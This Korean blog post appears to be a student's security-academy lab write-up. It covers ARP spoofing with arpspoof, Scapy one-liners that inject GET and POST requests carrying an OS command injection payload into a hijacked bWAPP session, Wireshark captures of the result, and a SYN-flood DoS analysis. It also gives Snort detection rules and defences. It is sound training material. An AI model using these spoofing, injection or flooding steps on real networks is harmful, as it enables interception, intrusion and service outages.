본문 바로가기
  • 이게 왜 되지...?
시큐리티아카데미 7기 - sk쉴더스트랙/프로젝트

[시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 12일차 - 2026.04.28

by smisooth 2026. 4. 30.

 

 
 
우리 걸쓰~끼리 setlog를 낋여왔어염
다들 컷이 비슷비슷한게 꽤 재밌더라구요
다들 해보시길...ㅎㅎ
 
 
 
1.   보안 취약점 분석
    1)  실습 개요
        ①   로컬 네트워크 내에서 ARP Spoofing을 통해 트래픽을 가로채고, 확보한 패킷 정보를 바탕으로 Scapy 라이브러리를 사용하여 OS Command Injection 공격을 수동으로 재현하는 과정
 
    2)  중간자 공격(MITM) 및 트래픽 모니터링
        ①   ARP Spoofing
            i.  sudo arpspoof -i eth0 -t [피해자 IP] [gateway IP]
            ii.  sudo arpspoof -i eth0 -t [gateway IP] [피해자 IP]
        ②   ICMP 트래픽 확인
            i.  sudo tcpdump -i eth0 icmp
 
    3)  패킷 상세 분석 데이터
        ①   피해자 PC에서 사이트 로그인 후 공격자 Wireshark를 통해 캡처된 정상적인 HTTP 요청 패킷에서 공격 구문 작성에 필요한 핵심 파라미터 추출

항목Wireshark 추출 데이터Scapy 코드 반영비고

 
    4)  Scapy를 이용한 패킷 인젝션
        ①   GET 방식 명령어 주입

sudo python3 -c 'from scapy.all import *; \
send(IP(src="[내_IP]", dst="[서버_IP]") / \
TCP(sport=[내_출발_포트], dport=[서버_포트], flags="PA", seq=[최신_Seq], ack=[최신_Ack]) / \
"GET [공격_경로] HTTP/1.1\r\nHost: [서버_IP]:[서버_포트]\r\n\r\n")'

        ②   POST 방식 코드

sudo python3 -c 'from scapy.all import *; \
payload = ("POST [공격_경로] HTTP/1.1\r\n" \
           "Host: [서버_IP]:[서버_포트]\r\n" \
           "Content-Type: application/x-www-form-urlencoded\r\n" \
           "Content-Length: [바디_데이터_길이]\r\n" \
           "Cookie: security_level=0; PHPSESSID=[내_현재_세션ID]\r\n\r\n" \
           "target=127.0.0.1;[실행할_명령어]&form=submit\r\n\r\n"); \
send(IP(src="[내_IP]", dst="[서버_IP]") / \
TCP(sport=[내_출발_포트], dport=[서버_포트], flags="PA", seq=[최신_Seq], ack=[최신_Ack]) / \
payload)'

 
    5)  결과 확인
        ①   Pfsense의 packet capture에서 로그 모아서 다운로드 해서 와이어 샤크에서 필터링 해보기

        ②   GET 결과

Frame 1005: 120 bytes on wire (960 bits), 120 bytes captured (960 bits)
    Encapsulation type: Ethernet (1)
    Arrival Time: Apr 28, 2026 10:41:17.119794000 대한민국 표준시
    UTC Arrival Time: Apr 28, 2026 01:41:17.119794000 UTC
    Epoch Arrival Time: 1777340477.119794000
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 0.515350000 seconds]
    [Time delta from previous displayed frame: 3.146759000 seconds]
    [Time since reference or first frame: 5.097784000 seconds]
    Frame Number: 1005
    Frame Length: 120 bytes (960 bits)
    Capture Length: 120 bytes (960 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: eth:ethertype:ip:tcp]
    [Coloring Rule Name: Bad TCP]
    [Coloring Rule String: tcp.analysis.flags && !tcp.analysis.window_update && !tcp.analysis.keep_alive && !tcp.analysis.keep_alive_ack]
Ethernet II, Src: Dasan_70:11:2d (00:d0:cb:70:11:2d), Dst: VMware_60:ab:44 (00:0c:29:60:ab:44)
    Destination: VMware_60:ab:44 (00:0c:29:60:ab:44)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Source: Dasan_70:11:2d (00:d0:cb:70:11:2d)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Type: IPv4 (0x0800)
    [Stream index: 1]
Internet Protocol Version 4, Src: 1.233.148.83, Dst: 220.88.200.193
    0100 .... = Version: 4
    .... 0101 = Header Length: 20 bytes (5)
    Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
        0000 00.. = Differentiated Services Codepoint: Default (0)
        .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
    Total Length: 106
    Identification: 0x0001 (1)
    000. .... = Flags: 0x0
        0... .... = Reserved bit: Not set
        .0.. .... = Don't fragment: Not set
        ..0. .... = More fragments: Not set
    ...0 0000 0000 0000 = Fragment Offset: 0
    Time to Live: 51
    Protocol: TCP (6)
    Header Checksum: 0x4c37 [validation disabled]
    [Header checksum status: Unverified]
    Source Address: 1.233.148.83
    Destination Address: 220.88.200.193
    [Stream index: 1]
Transmission Control Protocol, Src Port: 61354, Dst Port: 8080, Seq: 1, Ack: 1, Len: 66
    Source Port: 61354
    Destination Port: 8080
    [Stream index: 3]
    [Stream Packet Number: 2]
    [Conversation completeness: Incomplete (8)]
        ..0. .... = RST: Absent
        ...0 .... = FIN: Absent
        .... 1... = Data: Present
        .... .0.. = ACK: Absent
        .... ..0. = SYN-ACK: Absent
        .... ...0 = SYN: Absent
        [Completeness Flags: ··D···]
    [TCP Segment Len: 66]
    Sequence Number: 1    (relative sequence number)
    Sequence Number (raw): 4257010969
    [Next Sequence Number: 67    (relative sequence number)]
    Acknowledgment Number: 1    (relative ack number)
    Acknowledgment number (raw): 2290218266
    0101 .... = Header Length: 20 bytes (5)
    Flags: 0x018 (PSH, ACK)
        000. .... .... = Reserved: Not set
        ...0 .... .... = Accurate ECN: Not set
        .... 0... .... = Congestion Window Reduced: Not set
        .... .0.. .... = ECN-Echo: Not set
        .... ..0. .... = Urgent: Not set
        .... ...1 .... = Acknowledgment: Set
        .... .... 1... = Push: Set
        .... .... .0.. = Reset: Not set
        .... .... ..0. = Syn: Not set
        .... .... ...0 = Fin: Not set
        [TCP Flags: ·······AP···]
    Window: 8192
    [Calculated window size: 8192]
    [Window size scaling factor: -1 (unknown)]
    Checksum: 0x00c1 [unverified]
    [Checksum Status: Unverified]
    Urgent Pointer: 0
    [Timestamps]
        [Time since first frame in this TCP stream: 3.146759000 seconds]
        [Time since previous frame in this TCP stream: 3.146759000 seconds]
    [SEQ/ACK analysis]
        [Bytes in flight: 242]
        [Bytes sent since last PSH flag: 66]
        [TCP Analysis Flags]
            [Expert Info (Note/Sequence): This frame is a (suspected) retransmission]
                [This frame is a (suspected) retransmission]
                [Severity level: Note]
                [Group: Sequence]
            [The RTO for this segment was: 3.146759000 seconds]
            [RTO based on delta from frame: 968]
    TCP payload (66 bytes)
    Retransmitted TCP segment data (66 bytes)

        ③   POST 결과

Frame 968: 296 bytes on wire (2368 bits), 296 bytes captured (2368 bits)
    Encapsulation type: Ethernet (1)
    Arrival Time: Apr 28, 2026 10:41:13.973035000 대한민국 표준시
    UTC Arrival Time: Apr 28, 2026 01:41:13.973035000 UTC
    Epoch Arrival Time: 1777340473.973035000
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 0.605887000 seconds]
    [Time delta from previous displayed frame: 0.000000000 seconds]
    [Time since reference or first frame: 1.951025000 seconds]
    Frame Number: 968
    Frame Length: 296 bytes (2368 bits)
    Capture Length: 296 bytes (2368 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: eth:ethertype:ip:tcp]
    [Coloring Rule Name: TCP]
    [Coloring Rule String: tcp]
Ethernet II, Src: Dasan_70:11:2d (00:d0:cb:70:11:2d), Dst: VMware_60:ab:44 (00:0c:29:60:ab:44)
    Destination: VMware_60:ab:44 (00:0c:29:60:ab:44)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Source: Dasan_70:11:2d (00:d0:cb:70:11:2d)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Type: IPv4 (0x0800)
    [Stream index: 1]
Internet Protocol Version 4, Src: 1.233.148.83, Dst: 220.88.200.193
    0100 .... = Version: 4
    .... 0101 = Header Length: 20 bytes (5)
    Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
        0000 00.. = Differentiated Services Codepoint: Default (0)
        .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
    Total Length: 282
    Identification: 0x0001 (1)
    000. .... = Flags: 0x0
        0... .... = Reserved bit: Not set
        .0.. .... = Don't fragment: Not set
        ..0. .... = More fragments: Not set
    ...0 0000 0000 0000 = Fragment Offset: 0
    Time to Live: 51
    Protocol: TCP (6)
    Header Checksum: 0x4b87 [validation disabled]
    [Header checksum status: Unverified]
    Source Address: 1.233.148.83
    Destination Address: 220.88.200.193
    [Stream index: 1]
Transmission Control Protocol, Src Port: 61354, Dst Port: 8080, Seq: 1, Ack: 1, Len: 242
    Source Port: 61354
    Destination Port: 8080
    [Stream index: 3]
    [Stream Packet Number: 1]
    [Conversation completeness: Incomplete (8)]
        ..0. .... = RST: Absent
        ...0 .... = FIN: Absent
        .... 1... = Data: Present
        .... .0.. = ACK: Absent
        .... ..0. = SYN-ACK: Absent
        .... ...0 = SYN: Absent
        [Completeness Flags: ··D···]
    [TCP Segment Len: 242]
    Sequence Number: 1    (relative sequence number)
    Sequence Number (raw): 4257010969
    [Next Sequence Number: 243    (relative sequence number)]
    Acknowledgment Number: 1    (relative ack number)
    Acknowledgment number (raw): 2290218266
    0101 .... = Header Length: 20 bytes (5)
    Flags: 0x018 (PSH, ACK)
        000. .... .... = Reserved: Not set
        ...0 .... .... = Accurate ECN: Not set
        .... 0... .... = Congestion Window Reduced: Not set
        .... .0.. .... = ECN-Echo: Not set
        .... ..0. .... = Urgent: Not set
        .... ...1 .... = Acknowledgment: Set
        .... .... 1... = Push: Set
        .... .... .0.. = Reset: Not set
        .... .... ..0. = Syn: Not set
        .... .... ...0 = Fin: Not set
        [TCP Flags: ·······AP···]
    Window: 8192
    [Calculated window size: 8192]
    [Window size scaling factor: -1 (unknown)]
    Checksum: 0x997a [unverified]
    [Checksum Status: Unverified]
    Urgent Pointer: 0
    [Timestamps]
        [Time since first frame in this TCP stream: 0.000000000 seconds]
        [Time since previous frame in this TCP stream: 0.000000000 seconds]
    [SEQ/ACK analysis]
        [Bytes in flight: 242]
        [Bytes sent since last PSH flag: 242]
    TCP payload (242 bytes)
    TCP segment data (242 bytes)

 
    6)  Snort Rule
        ①   비정상적인 TCP 세션 데이터 주입 탐지

alert tcp any any -> 220.88.200.193 8080 (
    msg:"TCP Session Hijacking Attempt Detected";
    flow:to_server,established,no_stream;
    flags:AP;
    threshold:type limit, track by_src, count 1, seconds 60;
    sid:2000001; rev:1;
)

    ②   동일 Sequence Number 반복 유입 (재전송 공격) 탐지

alert tcp any any -> 220.88.200.193 8080 (
    msg:"Possible TCP Session Hijacking - Sequence Number Reuse";
    flow:to_server;
    seq:4257010969;
    classtype:attempted-admin;
    sid:2000002; rev:1;
)

 
    7)  개인적인 의문
        ①   공격자 칼리가 피해자PC에 arp spoofing해서 피해자가 http://220.88.200.193:8080/bWAPP/에 로그인 하면 칼리가 와이어샤크로 패킷 탈취해서 세션 하이재킹 하는건데 http://220.88.200.193:8080/bWAPP/서버의 pfsense snort에 걸릴 수 있는가?
        ②   Snort에 걸리게 되는 3가지 관점
            i.  TCP 세션의 비정상적 흐름
                -   재전송 의심
                -   세션 가로채기 탐지
            ii.  특정 공격 구문 탐지
                -   명령어 주입
                -   비정상적인 파라미터
            iii.  통계적 변조 및 임계치
                -   Rate Limiting
        ③   pfSense Snort에서 방어 확률을 높이려면?
            i.  Strict HTTP Inspection
                -   Snort 설정에서 HTTP 검사를 엄격하게 설정하면, 비정상적인 헤더나 세션 정보를 가진 패킷을 잘 골라냄
            ii.  ARP Spoofing 방어 (정적 ARP)
                -   사실 이 공격의 시작인 ARP Spoofing은 서버가 아닌 스위치(L2)나 pfSense의 ARP Table 설정에서 막아야 함
                -   IP와 MAC 주소를 고정(Static)하면 공격자가 중간에 끼어들 수 없음
            iii.  HTTPS(SSL/TLS) 사용
                -   가장 근본적인 해결책
                -   bWAPP이 HTTPS로 돌아가고 있다면, 공격자가 패킷을 가로채도 내용이 암호화되어 있어 Seq 번호나 Cookie를 알아내기 매우 어려움
                -   하지만 우리는 실습 중이기 때문에 이건 X
 
 
 
2.   DOS
    1)  실습 개요
        ①   공격 도구
            i.  Xerosploit
                -   Scapy 기반 패킷 생성 도구
        ②   공격 유형
            i.  TCP SYN Flood + Malformed Packet Payload Attack
        ③   대상 서비스
            i.  FTP (21번 포트)
        ④   목적
            i.  비정상적인 TCP 패킷을 대량 발생시켜 대상 서버의 프로토콜 처리 자원 고갈 및 서비스 마비 유도
 
    2)  패킷 상세 분석 (Frame 1870 중심)

분석 항목데이터 내용보안상 의미 (비정상 유무)

 
    3)  공격 메커니즘 분석
        ①   Protocol Violation
            i.  정상적인 3-Way Handshake 절차를 무시하고, SYN 패킷에 대량의 데이터(Payload)를 실어 보냄으로써 서버가 패킷을 해석하고 상태를 유지하는 데 과도한 자원을 소모하게 함
        ②   Resource Exhaustion
            i.  서버는 비정상적인 Ack 번호와 데이터를 포함한 SYN 패킷을 처리하기 위해 TCP 스택에서 예외 처리를 반복하게 되며, 이 과정에서 CPU 사용량이 급증하고 서비스 응답이 불가능해짐
 
    4)  Snort Rule

# SYN 패킷에 데이터(dsize)가 포함된 비정상 흐름 차단
alert tcp any any -> $HOME_NET 21 (
    msg:"DOS Attack Detected - Malformed SYN with Payload (Xerosploit)";
    flow:to_server;
    flags:S;
    dsize:>0;
    threshold:type threshold, track by_src, count 10, seconds 1;
    classtype:attempted-dos;
    sid:3000001; rev:1;
)